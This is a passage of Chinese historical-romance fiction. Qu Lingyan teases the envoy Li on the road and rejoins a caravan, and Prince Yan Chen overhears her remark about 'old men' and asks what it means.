李使者听到这句话,伤口不痛了,脚步不浮了,三两下就超过曲聆烟,同时征服了生理和心理的伤害,堪称医学奇迹。 “哇。”看着走得飞快的李使者,被落在身后的曲聆烟感叹道。 “哼。”李使者吹了吹胡子,“还不快走,莫要老夫停下来等你……” 话还没说完,却见本落后的曲聆烟已经走到他前边,比她之前的速度快多了。 曲聆烟微笑道:“李使者欠我的恩情可别忘了。” 李使者这下才老实赶路,闭口不言。 直到前方隐约能看到木桥的身影,李使者忽然开口道:“老夫家中有一子。” 曲聆烟脚步顿了顿,越走越快,她可记得李使者的儿子已经三十多岁还未成家,定是有什么见不得人之处。 “你走这么快干什么?”李使者有些跟不上,“犬子相貌过人,英姿潇洒……” “我对老男人不感兴趣。”曲聆烟冷冷道。 她眼前忽落下一片阴影,猛然抬头,只见男人清晰的下颚线和轮廓分明的侧脸。 刚才与李使者斗嘴,曲聆烟丝毫没注意木桥旁有人,还是燕辰…… 两人都觉着有些尴尬,李使者立刻眼神乱转假装什么都没有发生,将事情留给了曲聆烟。 曲聆烟在心中庆幸燕辰听不懂,脸上露出笑颜。 她道:“敬王殿下怎么在这?车队呢?” 燕辰偏头看向对岸。 曲聆烟顺着他的视线,看到了对岸的车队……以及靠在木桥绳索上的薛译官。 曲聆烟抿抿唇,神色复杂,眼下又不知是何形式,只得跟着燕辰先过桥与车队会合。 没人说话,只有劫后余生的庆幸。 离木桥最近的马车掀起了帘子,一张精致的小脸紧张地看着来者,终于在看到曲聆烟的时候松了口气。 曲聆烟看到燕芷后心里的那块大石总算落下,快步朝马车走去。 身后的李使者低声说着“有辱斯文”,急忙要去找马车换衣服。 只有身后的燕辰和薛译官不紧不慢地走着,两人沉默不语。 燕辰忽然开口问道:“薛译官,‘老男人’是什么意思?”